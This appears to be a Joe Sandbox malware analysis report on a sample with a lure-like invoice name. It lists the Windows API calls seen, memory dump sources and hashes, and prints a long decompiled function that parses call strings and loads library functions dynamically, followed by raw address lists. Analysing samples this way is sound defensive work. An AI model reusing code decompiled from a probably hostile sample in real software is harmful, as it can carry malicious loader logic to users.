Part of subcall function 004045F9: SendMessageW.USER32(00000028,?,00000001,00404424), ref: 00404607

GetDlgItem.USER32(?,000003EC), ref: 004059C9
CreateThread.KERNEL32(00000000,00000000,Function_0000579D,00000000), ref: 004059D7
CloseHandle.KERNELBASE(00000000), ref: 004059DE
ShowWindow.USER32(00000000), ref: 00405A02
ShowWindow.USER32(?,00000008), ref: 00405A07
ShowWindow.USER32(00000008), ref: 00405A51
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405A85
CreatePopupMenu.USER32 ref: 00405A96
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 00405AAA
GetWindowRect.USER32(?,?), ref: 00405ACA
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 00405AE3
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405B1B
OpenClipboard.USER32(00000000), ref: 00405B2B
EmptyClipboard.USER32 ref: 00405B31
GlobalAlloc.KERNEL32(00000042,00000000), ref: 00405B3D
GlobalLock.KERNEL32(00000000), ref: 00405B47
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405B5B
GlobalUnlock.KERNEL32(00000000), ref: 00405B7B
SetClipboardData.USER32(0000000D,00000000), ref: 00405B86
CloseClipboard.USER32 ref: 00405B8C

Strings

H7B, xrefs: 00405AF7
{, xrefs: 00405A6F

Memory Dump Source

Source File: 00000000.00000002.3283025001.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3282990682.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283105081.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283144697.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283287480.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283327689.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283384511.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QT_0948765446-NMPMUST-9876563783.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: H7B${
API String ID: 590372296-2256286769
Opcode ID: acb4607de909606c36dfaba2b406014313c5fa90e55702556e162a5684d31028
Instruction ID: d0bbb34d81c2c7a38b5cdb5171fa906e4f4201ee6cbe22cb0b3272b57562556b
Opcode Fuzzy Hash: acb4607de909606c36dfaba2b406014313c5fa90e55702556e162a5684d31028
Instruction Fuzzy Hash: D8B137B0900608FFDF119FA0DD89AAE7B79FB08354F00417AFA45A61A0CB755E52DF68

Uniqueness

Uniqueness Score: -1.00%

Function 70F51BFF Relevance: 20.1, APIs: 13, Instructions: 597
stringlibrarymemoryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 95%

			E70F51BFF() {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				WCHAR* _v24;
				WCHAR* _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				WCHAR* _v48;
				signed int _v52;
				void* _v56;
				intOrPtr _v60;
				WCHAR* _t208;
				signed int _t211;
				void* _t213;
				void* _t215;
				WCHAR* _t217;
				void* _t225;
				struct HINSTANCE__* _t226;
				struct HINSTANCE__* _t227;
				struct HINSTANCE__* _t229;
				signed short _t231;
				struct HINSTANCE__* _t234;
				struct HINSTANCE__* _t236;
				void* _t237;
				intOrPtr* _t238;
				void* _t249;
				signed char _t250;
				signed int _t251;
				struct HINSTANCE__* _t257;
				void* _t258;
				signed int _t260;
				signed int _t261;
				signed short* _t264;
				signed int _t269;
				signed int _t272;
				signed int _t274;
				void* _t277;
				void* _t281;
				struct HINSTANCE__* _t283;
				signed int _t286;
				void _t287;
				signed int _t288;
				signed int _t300;
				signed int _t301;
				signed short _t304;
				void* _t305;
				signed int _t309;
				signed int _t312;
				signed int _t315;
				signed int _t316;
				signed int _t317;
				signed short* _t321;
				WCHAR* _t322;
				WCHAR* _t324;
				WCHAR* _t325;
				struct HINSTANCE__* _t326;
				void* _t328;
				signed int _t331;
				void* _t332;

				_t283 = 0;
				_v32 = 0;
				_v36 = 0;
				_v16 = 0;
				_v8 = 0;
				_v40 = 0;
				_t332 = 0;
				_v52 = 0;
				_v44 = 0;
				_t208 = E70F512BB();
				_v24 = _t208;
				_v28 = _t208;
				_v48 = E70F512BB();
				_t321 = E70F512E3();
				_v56 = _t321;
				_v12 = _t321;
				while(1) {
					_t211 = _v32;
					_v60 = _t211;
					if(_t211 != _t283 && _t332 == _t283) {
						break;
					}
					_t286 =  *_t321 & 0x0000ffff;
					_t213 = _t286 - _t283;
					if(_t213 == 0) {
						_t37 =  &_v32;
						 *_t37 = _v32 | 0xffffffff;
						__eflags =  *_t37;
						L20:
						_t215 = _v60 - _t283;
						if(_t215 == 0) {
							__eflags = _t332 - _t283;
							 *_v28 = _t283;
							if(_t332 == _t283) {
								_t332 = GlobalAlloc(0x40, 0x1ca4);
								 *(_t332 + 0x1010) = _t283;
								 *(_t332 + 0x1014) = _t283;
							}
							_t287 = _v36;
							_t47 = _t332 + 8; // 0x8
							_t217 = _t47;
							_t48 = _t332 + 0x808; // 0x808
							_t322 = _t48;
							 *_t332 = _t287;
							_t288 = _t287 - _t283;
							__eflags = _t288;
							 *_t217 = _t283;
							 *_t322 = _t283;
							 *(_t332 + 0x1008) = _t283;
							 *(_t332 + 0x100c) = _t283;
							 *(_t332 + 4) = _t283;
							if(_t288 == 0) {
								__eflags = _v28 - _v24;
								if(_v28 == _v24) {
									goto L42;
								}
								_t328 = 0;
								GlobalFree(_t332);
								_t332 = E70F513B1(_v24);
								__eflags = _t332 - _t283;
								if(_t332 == _t283) {
									goto L42;
								} else {
									goto L35;
								}
								while(1) {
									L35:
									_t249 =  *(_t332 + 0x1ca0);
									__eflags = _t249 - _t283;
									if(_t249 == _t283) {
										break;
									}
									_t328 = _t332;
									_t332 = _t249;
									__eflags = _t332 - _t283;
									if(_t332 != _t283) {
										continue;
									}
									break;
								}
								__eflags = _t328 - _t283;
								if(_t328 != _t283) {
									 *(_t328 + 0x1ca0) = _t283;
								}
								_t250 =  *(_t332 + 0x1010);
								__eflags = _t250 & 0x00000008;
								if((_t250 & 0x00000008) == 0) {
									_t251 = _t250 | 0x00000002;
									__eflags = _t251;
									 *(_t332 + 0x1010) = _t251;
								} else {
									_t332 = E70F5162F(_t332);
									 *(_t332 + 0x1010) =  *(_t332 + 0x1010) & 0xfffffff5;
								}
								goto L42;
							} else {
								_t300 = _t288 - 1;
								__eflags = _t300;
								if(_t300 == 0) {
									L31:
									lstrcpyW(_t217, _v48);
									L32:
									lstrcpyW(_t322, _v24);
									goto L42;
								}
								_t301 = _t300 - 1;
								__eflags = _t301;
								if(_t301 == 0) {
									goto L32;
								}
								__eflags = _t301 != 1;
								if(_t301 != 1) {
									goto L42;
								}
								goto L31;
							}
						} else {
							if(_t215 == 1) {
								_t257 = _v16;
								if(_v40 == _t283) {
									_t257 = _t257 - 1;
								}
								 *(_t332 + 0x1014) = _t257;
							}
							L42:
							_v12 = _v12 + 2;
							_v28 = _v24;
							L59:
							if(_v32 != 0xffffffff) {
								_t321 = _v12;
								continue;
							}
							break;
						}
					}
					_t258 = _t213 - 0x23;
					if(_t258 == 0) {
						__eflags = _t321 - _v56;
						if(_t321 <= _v56) {
							L17:
							__eflags = _v44 - _t283;
							if(_v44 != _t283) {
								L43:
								_t260 = _v32 - _t283;
								__eflags = _t260;
								if(_t260 == 0) {
									_t261 = _t286;
									while(1) {
										__eflags = _t261 - 0x22;
										if(_t261 != 0x22) {
											break;
										}
										_t321 =  &(_t321[1]);
										__eflags = _v44 - _t283;
										_v12 = _t321;
										if(_v44 == _t283) {
											_v44 = 1;
											L162:
											_v28 =  &(_v28[0]);
											 *_v28 =  *_t321;
											L58:
											_t331 =  &(_t321[1]);
											__eflags = _t331;
											_v12 = _t331;
											goto L59;
										}
										_t261 =  *_t321 & 0x0000ffff;
										_v44 = _t283;
									}
									__eflags = _t261 - 0x2a;
									if(_t261 == 0x2a) {
										_v36 = 2;
										L57:
										_t321 = _v12;
										_v28 = _v24;
										_t283 = 0;
										__eflags = 0;
										goto L58;
									}
									__eflags = _t261 - 0x2d;
									if(_t261 == 0x2d) {
										L151:
										_t304 =  *_t321;
										__eflags = _t304 - 0x2d;
										if(_t304 != 0x2d) {
											L154:
											_t264 =  &(_t321[1]);
											__eflags =  *_t264 - 0x3a;
											if( *_t264 != 0x3a) {
												goto L162;
											}
											__eflags = _t304 - 0x2d;
											if(_t304 == 0x2d) {
												goto L162;
											}
											_v36 = 1;
											L157:
											_v12 = _t264;
											__eflags = _v28 - _v24;
											if(_v28 <= _v24) {
												 *_v48 = _t283;
											} else {
												 *_v28 = _t283;
												lstrcpyW(_v48, _v24);
											}
											goto L57;
										}
										_t264 =  &(_t321[1]);
										__eflags =  *_t264 - 0x3e;
										if( *_t264 != 0x3e) {
											goto L154;
										}
										_v36 = 3;
										goto L157;
									}
									__eflags = _t261 - 0x3a;
									if(_t261 != 0x3a) {
										goto L162;
									}
									goto L151;
								}
								_t269 = _t260 - 1;
								__eflags = _t269;
								if(_t269 == 0) {
									L80:
									_t305 = _t286 + 0xffffffde;
									__eflags = _t305 - 0x55;
									if(_t305 > 0x55) {
										goto L57;
									}
									switch( *((intOrPtr*)(( *(_t305 + 0x70f523e8) & 0x000000ff) * 4 +  &M70F5235C))) {
										case 0:
											__ecx = _v24;
											__edi = _v12;
											while(1) {
												__edi = __edi + 1;
												__edi = __edi + 1;
												_v12 = __edi;
												__ax =  *__edi;
												__eflags = __ax - __dx;
												if(__ax != __dx) {
													goto L132;
												}
												L131:
												__eflags =  *((intOrPtr*)(__edi + 2)) - __dx;
												if( *((intOrPtr*)(__edi + 2)) != __dx) {
													L136:
													 *__ecx =  *__ecx & 0x00000000;
													__eax = E70F512CC(_v24);
													__ebx = __eax;
													goto L97;
												}
												L132:
												__eflags = __ax;
												if(__ax == 0) {
													goto L136;
												}
												__eflags = __ax - __dx;
												if(__ax == __dx) {
													__edi = __edi + 1;
													__edi = __edi + 1;
													__eflags = __edi;
												}
												__ax =  *__edi;
												 *__ecx =  *__edi;
												__ecx = __ecx + 1;
												__ecx = __ecx + 1;
												__edi = __edi + 1;
												__edi = __edi + 1;
												_v12 = __edi;
												__ax =  *__edi;
												__eflags = __ax - __dx;
												if(__ax != __dx) {
													goto L132;
												}
												goto L131;
											}
										case 1:
											_v8 = 1;
											goto L57;
										case 2:
											_v8 = _v8 | 0xffffffff;
											goto L57;
										case 3:
											_v8 = _v8 & 0x00000000;
											_v20 = _v20 & 0x00000000;
											_v16 = _v16 + 1;
											goto L85;
										case 4:
											__eflags = _v20;
											if(_v20 != 0) {
												goto L57;
											}
											_v12 = _v12 - 2;
											__ebx = E70F512BB();
											 &_v12 = E70F51B86( &_v12);
											__eax = E70F51510(__edx, __eax, __edx, __ebx);
											goto L97;
										case 5:
											L105:
											_v20 = _v20 + 1;
											goto L57;
										case 6:
											_push(7);
											goto L123;
										case 7:
											_push(0x19);
											goto L143;
										case 8:
											__eax = 0;
											__eax = 1;
											__eflags = 1;
											goto L107;
										case 9:
											_push(0x15);
											goto L143;
										case 0xa:
											_push(0x16);
											goto L143;
										case 0xb:
											_push(0x18);
											goto L143;
										case 0xc:
											__eax = 0;
											__eax = 1;
											__eflags = 1;
											goto L118;
										case 0xd:
											__eax = 0;
											__eax = 1;
											__eflags = 1;
											goto L109;
										case 0xe:
											__eax = 0;
											__eax = 1;
											__eflags = 1;
											goto L111;
										case 0xf:
											__eax = 0;
											__eax = 1;
											__eflags = 1;
											goto L122;
										case 0x10:
											__eax = 0;
											__eax = 1;
											__eflags = 1;
											goto L113;
										case 0x11:
											_push(3);
											goto L123;
										case 0x12:
											_push(0x17);
											L143:
											_pop(__ebx);
											goto L98;
										case 0x13:
											__eax =  &_v12;
											__eax = E70F51B86( &_v12);
											__ebx = __eax;
											__ebx = __eax + 1;
											__eflags = __ebx - 0xb;
											if(__ebx < 0xb) {
												__ebx = __ebx + 0xa;
											}
											goto L97;
										case 0x14:
											__ebx = 0xffffffff;
											goto L98;
										case 0x15:
											__eax = 0;
											__eax = 1;
											__eflags = 1;
											goto L116;
										case 0x16:
											__ecx = 0;
											__eflags = 0;
											goto L91;
										case 0x17:
											__eax = 0;
											__eax = 1;
											__eflags = 1;
											goto L120;
										case 0x18:
											_t271 =  *(_t332 + 0x1014);
											__eflags = _t271 - _v16;
											if(_t271 > _v16) {
												_v16 = _t271;
											}
											_v8 = _v8 & 0x00000000;
											_v20 = _v20 & 0x00000000;
											_v36 - 3 = _t271 - (_v36 == 3);
											if(_t271 != _v36 == 3) {
												L85:
												_v40 = 1;
											}
											goto L57;
										case 0x19:
											L107:
											__ecx = 0;
											_v8 = 2;
											__ecx = 1;
											goto L91;
										case 0x1a:
											L118:
											_push(5);
											goto L123;
										case 0x1b:
											L109:
											__ecx = 0;
											_v8 = 3;
											__ecx = 1;
											goto L91;
										case 0x1c:
											L111:
											__ecx = 0;
											__ecx = 1;
											goto L91;
										case 0x1d:
											L122:
											_push(6);
											goto L123;
										case 0x1e:
											L113:
											_push(2);
											goto L123;
										case 0x1f:
											__eax =  &_v12;
											__eax = E70F51B86( &_v12);
											__ebx = __eax;
											__ebx = __eax + 1;
											goto L97;
										case 0x20:
											L116:
											_v52 = _v52 + 1;
											_push(4);
											_pop(__ecx);
											goto L91;
										case 0x21:
											L120:
											_push(4);
											L123:
											_pop(__ecx);
											L91:
											__edi = _v16;
											__edx =  *(0x70f5405c + __ecx * 4);
											__eax =  ~__eax;
											asm("sbb eax, eax");
											_v40 = 1;
											__edi = _v16 << 5;
											__eax = __eax & 0x00008000;
											__edi = (_v16 << 5) + __esi;
											__eax = __eax | __ecx;
											__eflags = _v8;
											 *(__edi + 0x1018) = __eax;
											if(_v8 < 0) {
												L93:
												__edx = 0;
												__edx = 1;
												__eflags = 1;
												L94:
												__eflags = _v8 - 1;
												 *(__edi + 0x1028) = __edx;
												if(_v8 == 1) {
													__eax =  &_v12;
													__eax = E70F51B86( &_v12);
													__eax = __eax + 1;
													__eflags = __eax;
													_v8 = __eax;
												}
												__eax = _v8;
												 *((intOrPtr*)(__edi + 0x101c)) = _v8;
												_t136 = _v16 + 0x81; // 0x81
												_t136 = _t136 << 5;
												__eax = 0;
												__eflags = 0;
												 *((intOrPtr*)((_t136 << 5) + __esi)) = 0;
												 *((intOrPtr*)(__edi + 0x1030)) = 0;
												 *((intOrPtr*)(__edi + 0x102c)) = 0;
												L97:
												__eflags = __ebx;
												if(__ebx == 0) {
													goto L57;
												}
												L98:
												__eflags = _v20;
												_v40 = 1;
												if(_v20 != 0) {
													L103:
													__eflags = _v20 - 1;
													if(_v20 == 1) {
														__eax = _v16;
														__eax = _v16 << 5;
														__eflags = __eax;
														 *(__eax + __esi + 0x102c) = __ebx;
													}
													goto L105;
												}
												_v16 = _v16 << 5;
												_t144 = __esi + 0x1030; // 0x1030
												__edi = (_v16 << 5) + _t144;
												__eax =  *__edi;
												__eflags = __eax - 0xffffffff;
												if(__eax <= 0xffffffff) {
													L101:
													__eax = GlobalFree(__eax);
													L102:
													 *__edi = __ebx;
													goto L103;
												}
												__eflags = __eax - 0x19;
												if(__eax <= 0x19) {
													goto L102;
												}
												goto L101;
											}
											__eflags = __edx;
											if(__edx > 0) {
												goto L94;
											}
											goto L93;
										case 0x22:
											goto L57;
									}
								}
								_t272 = _t269 - 1;
								__eflags = _t272;
								if(_t272 == 0) {
									_v16 = _t283;
									goto L80;
								}
								__eflags = _t272 != 1;
								if(_t272 != 1) {
									goto L162;
								}
								__eflags = _t286 - 0x6e;
								if(__eflags > 0) {
									_t309 = _t286 - 0x72;
									__eflags = _t309;
									if(_t309 == 0) {
										_push(4);
										L74:
										_pop(_t274);
										L75:
										__eflags = _v8 - 1;
										if(_v8 != 1) {
											_t96 = _t332 + 0x1010;
											 *_t96 =  *(_t332 + 0x1010) &  !_t274;
											__eflags =  *_t96;
										} else {
											 *(_t332 + 0x1010) =  *(_t332 + 0x1010) | _t274;
										}
										_v8 = 1;
										goto L57;
									}
									_t312 = _t309 - 1;
									__eflags = _t312;
									if(_t312 == 0) {
										_push(0x10);
										goto L74;
									}
									__eflags = _t312 != 0;
									if(_t312 != 0) {
										goto L57;
									}
									_push(0x40);
									goto L74;
								}
								if(__eflags == 0) {
									_push(8);
									goto L74;
								}
								_t315 = _t286 - 0x21;
								__eflags = _t315;
								if(_t315 == 0) {
									_v8 =  ~_v8;
									goto L57;
								}
								_t316 = _t315 - 0x11;
								__eflags = _t316;
								if(_t316 == 0) {
									_t274 = 0x100;
									goto L75;
								}
								_t317 = _t316 - 0x31;
								__eflags = _t317;
								if(_t317 == 0) {
									_t274 = 1;
									goto L75;
								}
								__eflags = _t317 != 0;
								if(_t317 != 0) {
									goto L57;
								}
								_push(0x20);
								goto L74;
							} else {
								_v32 = _t283;
								_v36 = _t283;
								goto L20;
							}
						}
						__eflags =  *((short*)(_t321 - 2)) - 0x3a;
						if( *((short*)(_t321 - 2)) != 0x3a) {
							goto L17;
						}
						__eflags = _v32 - _t283;
						if(_v32 == _t283) {
							goto L43;
						}
						goto L17;
					}
					_t277 = _t258 - 5;
					if(_t277 == 0) {
						__eflags = _v44 - _t283;
						if(_v44 != _t283) {
							goto L43;
						} else {
							__eflags = _v36 - 3;
							_v32 = 1;
							_v8 = _t283;
							_v20 = _t283;
							_v16 = (0 | _v36 == 0x00000003) + 1;
							_v40 = _t283;
							goto L20;
						}
					}
					_t281 = _t277 - 1;
					if(_t281 == 0) {
						__eflags = _v44 - _t283;
						if(_v44 != _t283) {
							goto L43;
						} else {
							_v32 = 2;
							_v8 = _t283;
							_v20 = _t283;
							goto L20;
						}
					}
					if(_t281 != 0x16) {
						goto L43;
					} else {
						_v32 = 3;
						_v8 = 1;
						goto L20;
					}
				}
				GlobalFree(_v56);
				GlobalFree(_v24);
				GlobalFree(_v48);
				if(_t332 == _t283 ||  *(_t332 + 0x100c) != _t283) {
					L182:
					return _t332;
				} else {
					_t225 =  *_t332 - 1;
					if(_t225 == 0) {
						_t187 = _t332 + 8; // 0x8
						_t324 = _t187;
						__eflags =  *_t324 - _t283;
						if( *_t324 != _t283) {
							_t226 = GetModuleHandleW(_t324);
							__eflags = _t226 - _t283;
							 *(_t332 + 0x1008) = _t226;
							if(_t226 != _t283) {
								L171:
								_t192 = _t332 + 0x808; // 0x808
								_t325 = _t192;
								_t227 = E70F516BD( *(_t332 + 0x1008), _t325);
								__eflags = _t227 - _t283;
								 *(_t332 + 0x100c) = _t227;
								if(_t227 == _t283) {
									__eflags =  *_t325 - 0x23;
									if( *_t325 == 0x23) {
										_t195 = _t332 + 0x80a; // 0x80a
										_t231 = E70F513B1(_t195);
										__eflags = _t231 - _t283;
										if(_t231 != _t283) {
											__eflags = _t231 & 0xffff0000;
											if((_t231 & 0xffff0000) == 0) {
												 *(_t332 + 0x100c) = GetProcAddress( *(_t332 + 0x1008), _t231 & 0x0000ffff);
											}
										}
									}
								}
								__eflags = _v52 - _t283;
								if(_v52 != _t283) {
									L178:
									_t325[lstrlenW(_t325)] = 0x57;
									_t229 = E70F516BD( *(_t332 + 0x1008), _t325);
									__eflags = _t229 - _t283;
									if(_t229 != _t283) {
										L166:
										 *(_t332 + 0x100c) = _t229;
										goto L182;
									}
									__eflags =  *(_t332 + 0x100c) - _t283;
									L180:
									if(__eflags != 0) {
										goto L182;
									}
									L181:
									_t206 = _t332 + 4;
									 *_t206 =  *(_t332 + 4) | 0xffffffff;
									__eflags =  *_t206;
									goto L182;
								} else {
									__eflags =  *(_t332 + 0x100c) - _t283;
									if( *(_t332 + 0x100c) != _t283) {
										goto L182;
									}
									goto L178;
								}
							}
							_t234 = LoadLibraryW(_t324); // executed
							__eflags = _t234 - _t283;
							 *(_t332 + 0x1008) = _t234;
							if(_t234 == _t283) {
								goto L181;
							}
							goto L171;
						}
						_t188 = _t332 + 0x808; // 0x808
						_t236 = E70F513B1(_t188);
						 *(_t332 + 0x100c) = _t236;
						__eflags = _t236 - _t283;
						goto L180;
					}
					_t237 = _t225 - 1;
					if(_t237 == 0) {
						_t185 = _t332 + 0x808; // 0x808
						_t238 = _t185;
						__eflags =  *_t238 - _t283;
						if( *_t238 == _t283) {
							goto L182;
						}
						_t229 = E70F513B1(_t238);
						L165:
						goto L166;
					}
					if(_t237 != 1) {
						goto L182;
					}
					_t81 = _t332 + 8; // 0x8
					_t284 = _t81;
					_t326 = E70F513B1(_t81);
					 *(_t332 + 0x1008) = _t326;
					if(_t326 == 0) {
						goto L181;
					}
					 *(_t332 + 0x104c) =  *(_t332 + 0x104c) & 0x00000000;
					 *((intOrPtr*)(_t332 + 0x1050)) = E70F512CC(_t284);
					 *(_t332 + 0x103c) =  *(_t332 + 0x103c) & 0x00000000;
					 *((intOrPtr*)(_t332 + 0x1048)) = 1;
					 *((intOrPtr*)(_t332 + 0x1038)) = 1;
					_t90 = _t332 + 0x808; // 0x808
					_t229 =  *(_t326->i + E70F513B1(_t90) * 4);
					goto L165;
				}
			}

0x70f51c07
0x70f51c0a
0x70f51c0d
0x70f51c10
0x70f51c13
0x70f51c16
0x70f51c19
0x70f51c1b
0x70f51c1e
0x70f51c21
0x70f51c26
0x70f51c29
0x70f51c31
0x70f51c39
0x70f51c3b
0x70f51c3e
0x70f51c46
0x70f51c46
0x70f51c4b
0x70f51c4e
0x00000000
0x00000000
0x70f51c5b
0x70f51c60
0x70f51c62
0x70f51cf4
0x70f51cf4
0x70f51cf4
0x70f51cf8
0x70f51cfb
0x70f51cfd
0x70f51d1f
0x70f51d21
0x70f51d24
0x70f51d33
0x70f51d35
0x70f51d3b
0x70f51d3b
0x70f51d41
0x70f51d44
0x70f51d44
0x70f51d47
0x70f51d47
0x70f51d4d
0x70f51d4f
0x70f51d4f
0x70f51d51
0x70f51d54
0x70f51d57
0x70f51d5d
0x70f51d63
0x70f51d66
0x70f51d8a
0x70f51d8d
0x00000000
0x00000000
0x70f51d90
0x70f51d92
0x70f51da0
0x70f51da3
0x70f51da5
0x00000000
0x00000000
0x00000000
0x00000000
0x70f51da7
0x70f51da7
0x70f51da7
0x70f51dad
0x70f51daf
0x00000000
0x00000000
0x70f51db1
0x70f51db3
0x70f51db5
0x70f51db7
0x00000000
0x00000000
0x00000000
0x70f51db7
0x70f51db9
0x70f51dbb
0x70f51dbd
0x70f51dbd
0x70f51dc3
0x70f51dc9
0x70f51dcb
0x70f51ddf
0x70f51ddf
0x70f51de1
0x70f51dcd
0x70f51dd3
0x70f51dd6
0x70f51dd6
0x00000000
0x70f51d68
0x70f51d68
0x70f51d68
0x70f51d69
0x70f51d71
0x70f51d75
0x70f51d7b
0x70f51d7f
0x00000000
0x70f51d7f
0x70f51d6b
0x70f51d6b
0x70f51d6c
0x00000000
0x00000000
0x70f51d6e
0x70f51d6f
0x00000000
0x00000000
0x00000000
0x70f51d6f
0x70f51cff
0x70f51d00
0x70f51d09
0x70f51d0c
0x70f51d19
0x70f51d19
0x70f51d0e
0x70f51d0e
0x70f51de7
0x70f51dea
0x70f51dee
0x70f51e61
0x70f51e65
0x70f51c43
0x00000000
0x70f51c43
0x00000000
0x70f51e65
0x70f51cfd
0x70f51c68
0x70f51c6b
0x70f51cce
0x70f51cd1
0x70f51ce3
0x70f51ce3
0x70f51ce6
0x70f51df3
0x70f51df6
0x70f51df6
0x70f51df8
0x70f521ae
0x70f521c6
0x70f521c6
0x70f521c9
0x00000000
0x00000000
0x70f521b3
0x70f521b4
0x70f521b7
0x70f521ba
0x70f52244
0x70f5224b
0x70f52251
0x70f52255
0x70f51e5c
0x70f51e5d
0x70f51e5d
0x70f51e5e
0x00000000
0x70f51e5e
0x70f521c0
0x70f521c3
0x70f521c3
0x70f521cb
0x70f521ce
0x70f52238
0x70f51e51
0x70f51e54
0x70f51e57
0x70f51e5a
0x70f51e5a
0x00000000
0x70f51e5a
0x70f521d0
0x70f521d3
0x70f521da
0x70f521da
0x70f521dd
0x70f521e1
0x70f521f5
0x70f521f5
0x70f521f8
0x70f521fc
0x00000000
0x00000000
0x70f521fe
0x70f52202
0x00000000
0x00000000
0x70f52204
0x70f5220b
0x70f5220b
0x70f52211
0x70f52214
0x70f52230
0x70f52216
0x70f5221f
0x70f52222
0x70f52222
0x00000000
0x70f52214
0x70f521e3
0x70f521e6
0x70f521ea
0x00000000
0x00000000
0x70f521ec
0x00000000
0x70f521ec
0x70f521d5
0x70f521d8
0x00000000
0x00000000
0x00000000
0x70f521d8
0x70f51dfe
0x70f51dfe
0x70f51dff
0x70f51f49
0x70f51f49
0x70f51f50
0x70f51f53
0x00000000
0x00000000
0x70f51f60
0x00000000
0x70f5214b
0x70f5214e
0x70f52151
0x70f52151
0x70f52152
0x70f52153
0x70f52156
0x70f52159
0x70f5215c
0x00000000
0x00000000
0x70f5215e
0x70f5215e
0x70f52162
0x70f5217a
0x70f5217d
0x70f52181
0x70f52187
0x00000000
0x70f52187
0x70f52164
0x70f52164
0x70f52167
0x00000000
0x00000000
0x70f52169
0x70f5216c
0x70f5216e
0x70f5216f
0x70f5216f
0x70f5216f
0x70f52170
0x70f52173
0x70f52176
0x70f52177
0x70f52151
0x70f52152
0x70f52153
0x70f52156
0x70f52159
0x70f5215c
0x00000000
0x00000000
0x00000000
0x70f5215c
0x00000000
0x70f51fa7
0x00000000
0x00000000
0x70f51fb3
0x00000000
0x00000000
0x70f51f9a
0x70f51f9e
0x70f51fa2
0x00000000
0x00000000
0x70f5211c
0x70f52120
0x00000000
0x00000000
0x70f52126
0x70f5212f
0x70f52136
0x70f5213e
0x00000000
0x00000000
0x70f52083
0x70f52083
0x00000000
0x00000000
0x70f51fbc
0x00000000
0x00000000
0x70f521a6
0x00000000
0x00000000
0x70f5208b
0x70f5208d
0x70f5208d
0x00000000
0x00000000
0x70f52196
0x00000000
0x00000000
0x70f5219a
0x00000000
0x00000000
0x70f521a2
0x00000000
0x00000000
0x70f520d3
0x70f520d5
0x70f520d5
0x00000000
0x00000000
0x70f5209d
0x70f5209f
0x70f5209f
0x00000000
0x00000000
0x70f520af
0x70f520b1
0x70f520b1
0x00000000
0x00000000
0x70f520e1
0x70f520e3
0x70f520e3
0x00000000
0x00000000
0x70f520ba
0x70f520bc
0x70f520bc
0x00000000
0x00000000
0x70f520c1
0x00000000
0x00000000
0x70f5219e
0x70f521a8
0x70f521a8
0x00000000
0x00000000
0x70f520ec
0x70f520f0
0x70f520f5
0x70f520f8
0x70f520f9
0x70f520fc
0x70f52102
0x70f52102
0x00000000
0x00000000
0x70f5218e
0x00000000
0x00000000
0x70f520c5
0x70f520c7
0x70f520c7
0x00000000
0x00000000
0x70f51fc3
0x70f51fc3
0x00000000
0x00000000
0x70f520da
0x70f520dc
0x70f520dc
0x00000000
0x00000000
0x70f51f67
0x70f51f6d
0x70f51f70
0x70f51f72
0x70f51f72
0x70f51f75
0x70f51f79
0x70f51f86
0x70f51f88
0x70f51f8e
0x70f51f8e
0x70f51f8e
0x00000000
0x00000000
0x70f5208e
0x70f5208e
0x70f52090
0x70f52097
0x00000000
0x00000000
0x70f520d6
0x70f520d6
0x00000000
0x00000000
0x70f520a0
0x70f520a0
0x70f520a2
0x70f520a9
0x00000000
0x00000000
0x70f520b2
0x70f520b2
0x70f520b4
0x00000000
0x00000000
0x70f520e4
0x70f520e4
0x00000000
0x00000000
0x70f520bd
0x70f520bd
0x00000000
0x00000000
0x70f5210a
0x70f5210e
0x70f52113
0x70f52116
0x00000000
0x00000000
0x70f520c8
0x70f520c8
0x70f520cb
0x70f520cd
0x00000000
0x00000000
0x70f520dd
0x70f520dd
0x70f520e6
0x70f520e6
0x70f51fc5
0x70f51fc5
0x70f51fc8
0x70f51fcf
0x70f51fd1
0x70f51fd3
0x70f51fda
0x70f51fdd
0x70f51fe2
0x70f51fe4
0x70f51fe6
0x70f51fea
0x70f51ff0
0x70f51ff6
0x70f51ff6
0x70f51ff8
0x70f51ff8
0x70f51ff9
0x70f51ff9
0x70f51ffd
0x70f52003
0x70f52005
0x70f52009
0x70f5200e
0x70f5200e
0x70f52010
0x70f52010
0x70f52013
0x70f52016
0x70f5201f
0x70f52025
0x70f52028
0x70f52028
0x70f5202a
0x70f5202d
0x70f52033
0x70f52039
0x70f52039
0x70f5203b
0x00000000
0x00000000
0x70f52041
0x70f52041
0x70f52045
0x70f5204c
0x70f52070
0x70f52070
0x70f52074
0x70f52076
0x70f52079
0x70f52079
0x70f5207c
0x70f5207c
0x00000000
0x70f52074
0x70f52051
0x70f52054
0x70f52054
0x70f5205b
0x70f5205d
0x70f52060
0x70f52067
0x70f52068
0x70f5206e
0x70f5206e
0x00000000
0x70f5206e
0x70f52062
0x70f52065
0x00000000
0x00000000
0x00000000
0x70f52065
0x70f51ff2
0x70f51ff4
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x70f51f60
0x70f51e05
0x70f51e05
0x70f51e06
0x70f51f46
0x00000000
0x70f51f46
0x70f51e0c
0x70f51e0d
0x00000000
0x00000000
0x70f51e13
0x70f51e16
0x70f51f0b
0x70f51f0b
0x70f51f0e
0x70f51f23
0x70f51f25
0x70f51f25
0x70f51f26
0x70f51f29
0x70f51f2c
0x70f51f38
0x70f51f38
0x70f51f38
0x70f51f2e
0x70f51f2e
0x70f51f2e
0x70f51f3e
0x00000000
0x70f51f3e
0x70f51f10
0x70f51f10
0x70f51f11
